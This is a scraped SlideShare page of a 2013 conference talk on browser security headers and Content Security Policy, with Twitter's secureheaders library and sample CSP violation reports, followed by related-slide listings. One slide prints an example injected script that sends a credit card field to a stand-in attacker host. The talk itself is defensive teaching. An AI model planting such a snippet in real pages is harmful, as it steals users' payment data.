SlideShare una empresa de Scribd logo
1 de 53
@ LASCONATX
April 30, 2013
CSP To the
Rescue
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
It’s all about me
I’ve been called a jackass
I’ve been called an “appsechole”
I have opinions
Opinions are often wrong
Please disagree with me
That’s how we learn
CSP
Brakeman
ThreatDeckPhantom Gang
Roshambo
Email
developers
Email
security
Code review
External reports
Pen testing
Static analysis tools
Dynamic analysis tools
CSP
Get the right information to the
right people
Find bugs as quickly as possible
Analyze from many angles
Help people help themselves
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Do you use these?
Content security policy
X-Frame-Options
HTTP Strict Transport Security
X-Xss-Protection
X-Content-Type-Options
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
I’m already bored
Time to get awesomer
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Security headers
Leverage the browser for security
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Sweeeeet. I don’t have write secure code!
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Time of convergence
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Should you?
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
X-ContentType-Options
Fixes mime sniffing attacks
Only applies to IE, because only IE would do something
like this
X-Content-Type-Options = ‘nosniff’
zzzzZZZZZZzzzzz
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
X-Xss-Protection
Use the browser’s built in XSS Auditor
X-Xss-Protection: [0-1](; mode=block)?
X-Xss-Protection: 1; mode=block
zzzzZZZ... huh? zzzzzzzz
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
X-Frame-Options
Protects you from most classes of
Clickjacking
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW FROM example.com
zzz... oh hey thats cool. Don’t frame my stuff.
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
X-Frame-Options
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Firesheep/SSL Strip
Given I don’t have an HSTS header
And I have a session
When I visit http://example.com
Then I am pwned
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Other ssl fails
Posting passwords over HTTP
Loading mixed content
Using protocol relative URLS
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Strict Transport Security
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
How hard is it to use?
Base Case
Strict-transport-security: max-age=10000000
Do all of your subdomains support SSL?
Strict-transport-security: max-age=10000000; includeSubdomains
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Content secur-a-wat?
Content security policy is reshaping the security model
It is a complicated spec with great differences across browsers
It is not widely adopted
However!
It completely eliminates reflected and stored XSS
It ensures that you never load mixed content
It allows you to accept arbitrary html code from users
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Wat? Sounds cool.
script-src
style-src
img-src
default-src
frame-src
connect-src
font-src
media-src
object-src
report-uri
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
QuickTime™ and a
H.264 decompressor
are needed to see this picture.
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Get rid of XSS, eh?
A script-src directive that doesn’t contain ‘unsafe-inline’ almost
eliminates most forms of cross site scripting.
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
But I have to...
OK, then I’ll inject:
<script>
var image = new Image();
image.src = “cyberhacker.com/steal?data=”+ $(‘#credit_card’).val();
</script>
FALSE! img-src violation, no XHR allowed
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Inline css too? WTF?
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
How to apply?
Secure headers! (poor name, I know)
Open sourced earlier this year
https://github.com/twitter/secureheaders
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
How does it work?
It sets a before_filter that applies each header
Values are based on options passed to filter, or in an initializer
Easily overridden
Secure by default!!!
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
What about that security policy thingy
There are > 6 differences between these two header values
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Yay for standards
https://t.co/f26WWx3r7y
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Long hair don’t care
About browser inconsistencies
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
W3
Get involved!!!
Key results from F2F in San Jose
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Line numbers and column numbers
Previously, a report that was caused by inline scripts/styles was cryptic
Original FF implementation contained a script-sample
Evals/inserting script into DOM would be buried in minified JS
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
“sudo for javascript”
Bookmarklets/plugins/etc
How should they behave?
Bookmarklets show clear intention
Plugins somewhat questionable
Need to live outside the control of the parent page
But how?
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Reporting cross-origin
Original implementation did not allow CSP reports to be sent to a URI
that does not match the same origin policy, using the eTLD
e.g. https://ads.twitter.com can send reports to https://twitter.com,
but not http://twitter.com or https://support.twitter.com or https://twitter.com:3000
As a result of the w3 face to face, the 1.0 spec shall say that reports can
be sent anywhere!
However, cross-origin requests not allowed by CORS will be “unauthenticated”
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
script-(nonce|hash)
The clash of the titans
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Future
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
You mean there’s more on CSP?
The browser sends reports!
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
What does the report look like?
{
"csp-report"=> {
"document-uri"=>"http://localhost:3000/home",
"referrer"=>"",
"blocked-uri"=>"ws://localhost:35729/livereload",
"violated-directive"=>"xhr-src ws://localhost.twitter.com:*"
}
}
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Quiz: what does this report indicate?
{
"csp-report"=> {
"document-uri"=>"http://example.com/welcome",
"referrer"=>"",
"blocked-uri"=>"self",
"violated-directive"=>"inline script base restriction",
"source-file"=>"http://example.com/welcome",
"script-sample"=>"alert(1)",
"line-number"=>81,
"column-number"=>1463,
}
}
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Monitor and Tune ALL the things
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Splunk
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Trending and anomalies
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
@LASCONATX April 2013
@ndm | @SeeEssPee | @sadb | @twittersecurity
Header status page
CSP
Brakeman
ThreatDeckPhantom Gang
Roshambo
Email
developers
Email
security

Más contenido relacionado

La actualidad más candente

Sucuri Webinar: WAF (Firewall) and CDN Feature Benefit Guide
Sucuri Webinar: WAF (Firewall) and CDN Feature Benefit GuideSucuri Webinar: WAF (Firewall) and CDN Feature Benefit Guide
Sucuri Webinar: WAF (Firewall) and CDN Feature Benefit GuideSucuri
 
Webinar: CWAF for Mid Market/Enterprise Organizations
Webinar: CWAF for Mid Market/Enterprise OrganizationsWebinar: CWAF for Mid Market/Enterprise Organizations
Webinar: CWAF for Mid Market/Enterprise OrganizationsSucuri
 
Sucuri Webinar: What is SEO Spam and How to Fight It
Sucuri Webinar: What is SEO Spam and How to Fight ItSucuri Webinar: What is SEO Spam and How to Fight It
Sucuri Webinar: What is SEO Spam and How to Fight ItSucuri
 
Sucuri Webinar: Hacked Website Trend Report Q1/2016
Sucuri Webinar: Hacked Website Trend Report Q1/2016Sucuri Webinar: Hacked Website Trend Report Q1/2016
Sucuri Webinar: Hacked Website Trend Report Q1/2016Sucuri
 
Stu Hirst - Thinking Out cLoud July 2019
Stu Hirst - Thinking Out cLoud July 2019Stu Hirst - Thinking Out cLoud July 2019
Stu Hirst - Thinking Out cLoud July 2019Stu Hirst
 
Why Do Hackers Hack?
Why Do Hackers Hack?Why Do Hackers Hack?
Why Do Hackers Hack?Sucuri
 
The Future of https in Search
The Future of https in SearchThe Future of https in Search
The Future of https in Searchsemrush_webinars
 
The life of breached data and the attack lifecycle
The life of breached data and the attack lifecycleThe life of breached data and the attack lifecycle
The life of breached data and the attack lifecycleJarrod Overson
 
Webinar: Insights from CYREN's Q1 2015 Cyber Threats Trend Report
Webinar: Insights from CYREN's Q1 2015 Cyber Threats Trend ReportWebinar: Insights from CYREN's Q1 2015 Cyber Threats Trend Report
Webinar: Insights from CYREN's Q1 2015 Cyber Threats Trend ReportCyren, Inc
 
2018 Hacked Website Trends
2018 Hacked Website Trends2018 Hacked Website Trends
2018 Hacked Website TrendsSucuri
 
Sucuri Webinar: How to Clean a Hacked Magento Website
Sucuri Webinar: How to Clean a Hacked Magento WebsiteSucuri Webinar: How to Clean a Hacked Magento Website
Sucuri Webinar: How to Clean a Hacked Magento WebsiteSucuri
 
Sucuri Webinar: Simple Steps To Secure Your Online Store
Sucuri Webinar: Simple Steps To Secure Your Online StoreSucuri Webinar: Simple Steps To Secure Your Online Store
Sucuri Webinar: Simple Steps To Secure Your Online StoreSucuri
 
Web Browsers and Tracking Protections
Web Browsers and Tracking ProtectionsWeb Browsers and Tracking Protections
Web Browsers and Tracking ProtectionsSimo Ahava
 
How to Stop Reinventing the Auth Wheel
How to Stop Reinventing the Auth WheelHow to Stop Reinventing the Auth Wheel
How to Stop Reinventing the Auth WheelRené Cacheaux
 
London seo master - feb 2020
London seo master - feb 2020London seo master - feb 2020
London seo master - feb 2020Matt Williamson
 
Getting Started with Progressive Web Apps [Beyond Tellerrand 2019]
Getting Started with Progressive Web Apps [Beyond Tellerrand 2019]Getting Started with Progressive Web Apps [Beyond Tellerrand 2019]
Getting Started with Progressive Web Apps [Beyond Tellerrand 2019]Aaron Gustafson
 
What Are the Most Common Types of Hacks?
What Are the Most Common Types of Hacks?What Are the Most Common Types of Hacks?
What Are the Most Common Types of Hacks?Sucuri
 
Browser Tracking Protections - SuperWeek 2020
Browser Tracking Protections - SuperWeek 2020Browser Tracking Protections - SuperWeek 2020
Browser Tracking Protections - SuperWeek 2020Simo Ahava
 
Logs: Understanding Them to Better Manage Your WordPress Site
Logs: Understanding Them to Better Manage Your WordPress SiteLogs: Understanding Them to Better Manage Your WordPress Site
Logs: Understanding Them to Better Manage Your WordPress SiteSucuri
 

La actualidad más candente (20)

Brute forcing your privacy
Brute forcing your privacyBrute forcing your privacy
Brute forcing your privacy
 
Sucuri Webinar: WAF (Firewall) and CDN Feature Benefit Guide
Sucuri Webinar: WAF (Firewall) and CDN Feature Benefit GuideSucuri Webinar: WAF (Firewall) and CDN Feature Benefit Guide
Sucuri Webinar: WAF (Firewall) and CDN Feature Benefit Guide
 
Webinar: CWAF for Mid Market/Enterprise Organizations
Webinar: CWAF for Mid Market/Enterprise OrganizationsWebinar: CWAF for Mid Market/Enterprise Organizations
Webinar: CWAF for Mid Market/Enterprise Organizations
 
Sucuri Webinar: What is SEO Spam and How to Fight It
Sucuri Webinar: What is SEO Spam and How to Fight ItSucuri Webinar: What is SEO Spam and How to Fight It
Sucuri Webinar: What is SEO Spam and How to Fight It
 
Sucuri Webinar: Hacked Website Trend Report Q1/2016
Sucuri Webinar: Hacked Website Trend Report Q1/2016Sucuri Webinar: Hacked Website Trend Report Q1/2016
Sucuri Webinar: Hacked Website Trend Report Q1/2016
 
Stu Hirst - Thinking Out cLoud July 2019
Stu Hirst - Thinking Out cLoud July 2019Stu Hirst - Thinking Out cLoud July 2019
Stu Hirst - Thinking Out cLoud July 2019
 
Why Do Hackers Hack?
Why Do Hackers Hack?Why Do Hackers Hack?
Why Do Hackers Hack?
 
The Future of https in Search
The Future of https in SearchThe Future of https in Search
The Future of https in Search
 
The life of breached data and the attack lifecycle
The life of breached data and the attack lifecycleThe life of breached data and the attack lifecycle
The life of breached data and the attack lifecycle
 
Webinar: Insights from CYREN's Q1 2015 Cyber Threats Trend Report
Webinar: Insights from CYREN's Q1 2015 Cyber Threats Trend ReportWebinar: Insights from CYREN's Q1 2015 Cyber Threats Trend Report
Webinar: Insights from CYREN's Q1 2015 Cyber Threats Trend Report
 
2018 Hacked Website Trends
2018 Hacked Website Trends2018 Hacked Website Trends
2018 Hacked Website Trends
 
Sucuri Webinar: How to Clean a Hacked Magento Website
Sucuri Webinar: How to Clean a Hacked Magento WebsiteSucuri Webinar: How to Clean a Hacked Magento Website
Sucuri Webinar: How to Clean a Hacked Magento Website
 
Sucuri Webinar: Simple Steps To Secure Your Online Store
Sucuri Webinar: Simple Steps To Secure Your Online StoreSucuri Webinar: Simple Steps To Secure Your Online Store
Sucuri Webinar: Simple Steps To Secure Your Online Store
 
Web Browsers and Tracking Protections
Web Browsers and Tracking ProtectionsWeb Browsers and Tracking Protections
Web Browsers and Tracking Protections
 
How to Stop Reinventing the Auth Wheel
How to Stop Reinventing the Auth WheelHow to Stop Reinventing the Auth Wheel
How to Stop Reinventing the Auth Wheel
 
London seo master - feb 2020
London seo master - feb 2020London seo master - feb 2020
London seo master - feb 2020
 
Getting Started with Progressive Web Apps [Beyond Tellerrand 2019]
Getting Started with Progressive Web Apps [Beyond Tellerrand 2019]Getting Started with Progressive Web Apps [Beyond Tellerrand 2019]
Getting Started with Progressive Web Apps [Beyond Tellerrand 2019]
 
What Are the Most Common Types of Hacks?
What Are the Most Common Types of Hacks?What Are the Most Common Types of Hacks?
What Are the Most Common Types of Hacks?
 
Browser Tracking Protections - SuperWeek 2020
Browser Tracking Protections - SuperWeek 2020Browser Tracking Protections - SuperWeek 2020
Browser Tracking Protections - SuperWeek 2020
 
Logs: Understanding Them to Better Manage Your WordPress Site
Logs: Understanding Them to Better Manage Your WordPress SiteLogs: Understanding Them to Better Manage Your WordPress Site
Logs: Understanding Them to Better Manage Your WordPress Site
 

Destacado

Creative Commons Business Models
Creative Commons Business ModelsCreative Commons Business Models
Creative Commons Business ModelsPeter Froberg
 
Evolution of the Spreadsheet
Evolution of the SpreadsheetEvolution of the Spreadsheet
Evolution of the SpreadsheetRumble Marketing
 
Quota Loan Cash Flow Analysis
Quota Loan Cash Flow AnalysisQuota Loan Cash Flow Analysis
Quota Loan Cash Flow AnalysisDr. Tom Armstrong
 
Word Of Mouth Marketing Techniques Womm
Word Of Mouth Marketing Techniques WommWord Of Mouth Marketing Techniques Womm
Word Of Mouth Marketing Techniques Wommkameran
 
Sales and Mktg Presentation
Sales and Mktg PresentationSales and Mktg Presentation
Sales and Mktg Presentationbachilds
 
Managez votre Recrutement Fitness avec Jobifit
Managez votre Recrutement Fitness avec JobifitManagez votre Recrutement Fitness avec Jobifit
Managez votre Recrutement Fitness avec JobifitLudovic Bourgoin
 
Aesthetic attitude
Aesthetic attitudeAesthetic attitude
Aesthetic attitudejen lim
 
Exploring Rural Telecom Opportunity
Exploring Rural Telecom OpportunityExploring Rural Telecom Opportunity
Exploring Rural Telecom Opportunityguest650d42c
 
Decentralized Social Networks - WebVisions 2009
Decentralized Social Networks - WebVisions 2009Decentralized Social Networks - WebVisions 2009
Decentralized Social Networks - WebVisions 2009David Recordon
 
Predicting rainfall using ensemble of ensembles
Predicting rainfall using ensemble of ensemblesPredicting rainfall using ensemble of ensembles
Predicting rainfall using ensemble of ensemblesVarad Meru
 
The Power of Visual Storytelling
The Power of Visual StorytellingThe Power of Visual Storytelling
The Power of Visual StorytellingRobin Richards
 
Cultural diversity
Cultural diversityCultural diversity
Cultural diversityShajar Ali
 
Android App To Display Employee Details
Android App To Display Employee DetailsAndroid App To Display Employee Details
Android App To Display Employee DetailsSaikrishna Tanguturu
 

Destacado (20)

Creative Commons Business Models
Creative Commons Business ModelsCreative Commons Business Models
Creative Commons Business Models
 
Evolution of the Spreadsheet
Evolution of the SpreadsheetEvolution of the Spreadsheet
Evolution of the Spreadsheet
 
Ai
AiAi
Ai
 
Succession planning
Succession planningSuccession planning
Succession planning
 
Quota Loan Cash Flow Analysis
Quota Loan Cash Flow AnalysisQuota Loan Cash Flow Analysis
Quota Loan Cash Flow Analysis
 
Word Of Mouth Marketing Techniques Womm
Word Of Mouth Marketing Techniques WommWord Of Mouth Marketing Techniques Womm
Word Of Mouth Marketing Techniques Womm
 
Sales and Mktg Presentation
Sales and Mktg PresentationSales and Mktg Presentation
Sales and Mktg Presentation
 
Parachute
ParachuteParachute
Parachute
 
Muharram quotes
Muharram quotesMuharram quotes
Muharram quotes
 
Managez votre Recrutement Fitness avec Jobifit
Managez votre Recrutement Fitness avec JobifitManagez votre Recrutement Fitness avec Jobifit
Managez votre Recrutement Fitness avec Jobifit
 
Breast
BreastBreast
Breast
 
Aesthetic attitude
Aesthetic attitudeAesthetic attitude
Aesthetic attitude
 
Exploring Rural Telecom Opportunity
Exploring Rural Telecom OpportunityExploring Rural Telecom Opportunity
Exploring Rural Telecom Opportunity
 
Decentralized Social Networks - WebVisions 2009
Decentralized Social Networks - WebVisions 2009Decentralized Social Networks - WebVisions 2009
Decentralized Social Networks - WebVisions 2009
 
Predicting rainfall using ensemble of ensembles
Predicting rainfall using ensemble of ensemblesPredicting rainfall using ensemble of ensembles
Predicting rainfall using ensemble of ensembles
 
Social Media for B2B
Social Media for B2BSocial Media for B2B
Social Media for B2B
 
The Power of Visual Storytelling
The Power of Visual StorytellingThe Power of Visual Storytelling
The Power of Visual Storytelling
 
Cultural diversity
Cultural diversityCultural diversity
Cultural diversity
 
Android App To Display Employee Details
Android App To Display Employee DetailsAndroid App To Display Employee Details
Android App To Display Employee Details
 
Manual trainer
Manual trainerManual trainer
Manual trainer
 

Similar a Owasp austin

2013: OC Rails Jan - SecureHeaders library and content security policy
2013: OC Rails Jan - SecureHeaders library and content security policy2013: OC Rails Jan - SecureHeaders library and content security policy
2013: OC Rails Jan - SecureHeaders library and content security policyNeil Matatall
 
The Structured Data Toolbox for SEOs #SMXEast
The Structured Data Toolbox for SEOs #SMXEast The Structured Data Toolbox for SEOs #SMXEast
The Structured Data Toolbox for SEOs #SMXEast Aleyda Solís
 
Password and Account Management Strategies - April 2019
Password and Account Management Strategies - April 2019Password and Account Management Strategies - April 2019
Password and Account Management Strategies - April 2019Kimberley Dray
 
Putting to your Robots to Work V1.1
Putting to your Robots to Work V1.1Putting to your Robots to Work V1.1
Putting to your Robots to Work V1.1Neil Matatall
 
W3C Content Security Policy
W3C Content Security PolicyW3C Content Security Policy
W3C Content Security PolicyMarkus Wichmann
 
Web application security for java (XSS,Session Fixation)
Web application security for java (XSS,Session Fixation)Web application security for java (XSS,Session Fixation)
Web application security for java (XSS,Session Fixation)Ritesh Raushan
 
[PU&D] - Power Platform Unchained
[PU&D] - Power Platform Unchained[PU&D] - Power Platform Unchained
[PU&D] - Power Platform UnchainedTomasz Poszytek
 
Down and dirty with Elasticsearch
Down and dirty with ElasticsearchDown and dirty with Elasticsearch
Down and dirty with Elasticsearchclintongormley
 
HTTPS The Road To A More Secure Web / SEOCamp Paris
HTTPS The Road To A More Secure Web / SEOCamp ParisHTTPS The Road To A More Secure Web / SEOCamp Paris
HTTPS The Road To A More Secure Web / SEOCamp ParisAysun Akarsu
 
Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...Codemotion
 
Telco Cloud How operators are using the Cloud to unlock the core network and ...
Telco Cloud How operators are using the Cloud to unlock the core network and ...Telco Cloud How operators are using the Cloud to unlock the core network and ...
Telco Cloud How operators are using the Cloud to unlock the core network and ...Alan Quayle
 
Twitter Presentation: #APIConSF
Twitter Presentation: #APIConSFTwitter Presentation: #APIConSF
Twitter Presentation: #APIConSFRyan Choi
 
The DiSo Project and the Open Web
The DiSo Project and the Open WebThe DiSo Project and the Open Web
The DiSo Project and the Open WebChris Messina
 
Serverless Architecture - Beginning of a Trend?
Serverless Architecture - Beginning of a Trend?Serverless Architecture - Beginning of a Trend?
Serverless Architecture - Beginning of a Trend?Rishidot Research
 
Scout xss csrf_security_presentation_chicago
Scout xss csrf_security_presentation_chicagoScout xss csrf_security_presentation_chicago
Scout xss csrf_security_presentation_chicagoknaddison
 
Mitigate Maliciousness -- jQuery Europe 2013
Mitigate Maliciousness -- jQuery Europe 2013Mitigate Maliciousness -- jQuery Europe 2013
Mitigate Maliciousness -- jQuery Europe 2013Mike West
 
Fringe IA: Understanding complex organizational, data, & technical issues
Fringe IA: Understanding complex organizational, data, & technical issuesFringe IA: Understanding complex organizational, data, & technical issues
Fringe IA: Understanding complex organizational, data, & technical issuesMichael Adcock
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Brian Huff
 
Maximising Your SERP Potential - Enhance your listings with Rich Snippets
Maximising Your SERP Potential - Enhance your listings with Rich Snippets Maximising Your SERP Potential - Enhance your listings with Rich Snippets
Maximising Your SERP Potential - Enhance your listings with Rich Snippets Peter Handley
 

Similar a Owasp austin (20)

2013: OC Rails Jan - SecureHeaders library and content security policy
2013: OC Rails Jan - SecureHeaders library and content security policy2013: OC Rails Jan - SecureHeaders library and content security policy
2013: OC Rails Jan - SecureHeaders library and content security policy
 
The Structured Data Toolbox for SEOs #SMXEast
The Structured Data Toolbox for SEOs #SMXEast The Structured Data Toolbox for SEOs #SMXEast
The Structured Data Toolbox for SEOs #SMXEast
 
Password and Account Management Strategies - April 2019
Password and Account Management Strategies - April 2019Password and Account Management Strategies - April 2019
Password and Account Management Strategies - April 2019
 
Putting to your Robots to Work V1.1
Putting to your Robots to Work V1.1Putting to your Robots to Work V1.1
Putting to your Robots to Work V1.1
 
W3C Content Security Policy
W3C Content Security PolicyW3C Content Security Policy
W3C Content Security Policy
 
Web application security for java (XSS,Session Fixation)
Web application security for java (XSS,Session Fixation)Web application security for java (XSS,Session Fixation)
Web application security for java (XSS,Session Fixation)
 
[PU&D] - Power Platform Unchained
[PU&D] - Power Platform Unchained[PU&D] - Power Platform Unchained
[PU&D] - Power Platform Unchained
 
Down and dirty with Elasticsearch
Down and dirty with ElasticsearchDown and dirty with Elasticsearch
Down and dirty with Elasticsearch
 
HTTPS The Road To A More Secure Web / SEOCamp Paris
HTTPS The Road To A More Secure Web / SEOCamp ParisHTTPS The Road To A More Secure Web / SEOCamp Paris
HTTPS The Road To A More Secure Web / SEOCamp Paris
 
Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...
 
Telco Cloud How operators are using the Cloud to unlock the core network and ...
Telco Cloud How operators are using the Cloud to unlock the core network and ...Telco Cloud How operators are using the Cloud to unlock the core network and ...
Telco Cloud How operators are using the Cloud to unlock the core network and ...
 
Twitter Presentation: #APIConSF
Twitter Presentation: #APIConSFTwitter Presentation: #APIConSF
Twitter Presentation: #APIConSF
 
The DiSo Project and the Open Web
The DiSo Project and the Open WebThe DiSo Project and the Open Web
The DiSo Project and the Open Web
 
Serverless Architecture - Beginning of a Trend?
Serverless Architecture - Beginning of a Trend?Serverless Architecture - Beginning of a Trend?
Serverless Architecture - Beginning of a Trend?
 
Microformats
MicroformatsMicroformats
Microformats
 
Scout xss csrf_security_presentation_chicago
Scout xss csrf_security_presentation_chicagoScout xss csrf_security_presentation_chicago
Scout xss csrf_security_presentation_chicago
 
Mitigate Maliciousness -- jQuery Europe 2013
Mitigate Maliciousness -- jQuery Europe 2013Mitigate Maliciousness -- jQuery Europe 2013
Mitigate Maliciousness -- jQuery Europe 2013
 
Fringe IA: Understanding complex organizational, data, & technical issues
Fringe IA: Understanding complex organizational, data, & technical issuesFringe IA: Understanding complex organizational, data, & technical issues
Fringe IA: Understanding complex organizational, data, & technical issues
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
 
Maximising Your SERP Potential - Enhance your listings with Rich Snippets
Maximising Your SERP Potential - Enhance your listings with Rich Snippets Maximising Your SERP Potential - Enhance your listings with Rich Snippets
Maximising Your SERP Potential - Enhance your listings with Rich Snippets
 

Más de Neil Matatall

Twubhubbook - it's like appsec, but for startups
Twubhubbook - it's like appsec, but for startupsTwubhubbook - it's like appsec, but for startups
Twubhubbook - it's like appsec, but for startupsNeil Matatall
 
2012: Putting your robots to work: security automation at Twitter
2012: Putting your robots to work: security automation at Twitter2012: Putting your robots to work: security automation at Twitter
2012: Putting your robots to work: security automation at TwitterNeil Matatall
 
2009: Securing Applications With Web Application Firewalls and Vulnerability ...
2009: Securing Applications With Web Application Firewalls and Vulnerability ...2009: Securing Applications With Web Application Firewalls and Vulnerability ...
2009: Securing Applications With Web Application Firewalls and Vulnerability ...Neil Matatall
 
2008: Web Application Security Tutorial
2008: Web Application Security Tutorial2008: Web Application Security Tutorial
2008: Web Application Security TutorialNeil Matatall
 
Educause Annual 2007
Educause Annual 2007Educause Annual 2007
Educause Annual 2007Neil Matatall
 

Más de Neil Matatall (6)

Twubhubbook - it's like appsec, but for startups
Twubhubbook - it's like appsec, but for startupsTwubhubbook - it's like appsec, but for startups
Twubhubbook - it's like appsec, but for startups
 
2012: Putting your robots to work: security automation at Twitter
2012: Putting your robots to work: security automation at Twitter2012: Putting your robots to work: security automation at Twitter
2012: Putting your robots to work: security automation at Twitter
 
2012: Passw3rd
2012: Passw3rd2012: Passw3rd
2012: Passw3rd
 
2009: Securing Applications With Web Application Firewalls and Vulnerability ...
2009: Securing Applications With Web Application Firewalls and Vulnerability ...2009: Securing Applications With Web Application Firewalls and Vulnerability ...
2009: Securing Applications With Web Application Firewalls and Vulnerability ...
 
2008: Web Application Security Tutorial
2008: Web Application Security Tutorial2008: Web Application Security Tutorial
2008: Web Application Security Tutorial
 
Educause Annual 2007
Educause Annual 2007Educause Annual 2007
Educause Annual 2007
 

Owasp austin

  • 1. @ LASCONATX April 30, 2013 CSP To the Rescue
  • 2. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity It’s all about me I’ve been called a jackass I’ve been called an “appsechole” I have opinions Opinions are often wrong Please disagree with me That’s how we learn
  • 4.
  • 5. Code review External reports Pen testing Static analysis tools Dynamic analysis tools CSP
  • 6. Get the right information to the right people
  • 7. Find bugs as quickly as possible
  • 9. Help people help themselves
  • 10. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Do you use these? Content security policy X-Frame-Options HTTP Strict Transport Security X-Xss-Protection X-Content-Type-Options
  • 11. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity I’m already bored Time to get awesomer
  • 12. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Security headers Leverage the browser for security
  • 13. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Sweeeeet. I don’t have write secure code!
  • 14. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Time of convergence
  • 15. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Should you?
  • 16. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity X-ContentType-Options Fixes mime sniffing attacks Only applies to IE, because only IE would do something like this X-Content-Type-Options = ‘nosniff’ zzzzZZZZZZzzzzz
  • 17. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity X-Xss-Protection Use the browser’s built in XSS Auditor X-Xss-Protection: [0-1](; mode=block)? X-Xss-Protection: 1; mode=block zzzzZZZ... huh? zzzzzzzz
  • 18. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity X-Frame-Options Protects you from most classes of Clickjacking X-Frame-Options: DENY X-Frame-Options: SAMEORIGIN X-Frame-Options: ALLOW FROM example.com zzz... oh hey thats cool. Don’t frame my stuff.
  • 19. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity X-Frame-Options
  • 20. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Firesheep/SSL Strip Given I don’t have an HSTS header And I have a session When I visit http://example.com Then I am pwned
  • 21. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Other ssl fails Posting passwords over HTTP Loading mixed content Using protocol relative URLS
  • 22. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Strict Transport Security
  • 23. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity How hard is it to use? Base Case Strict-transport-security: max-age=10000000 Do all of your subdomains support SSL? Strict-transport-security: max-age=10000000; includeSubdomains
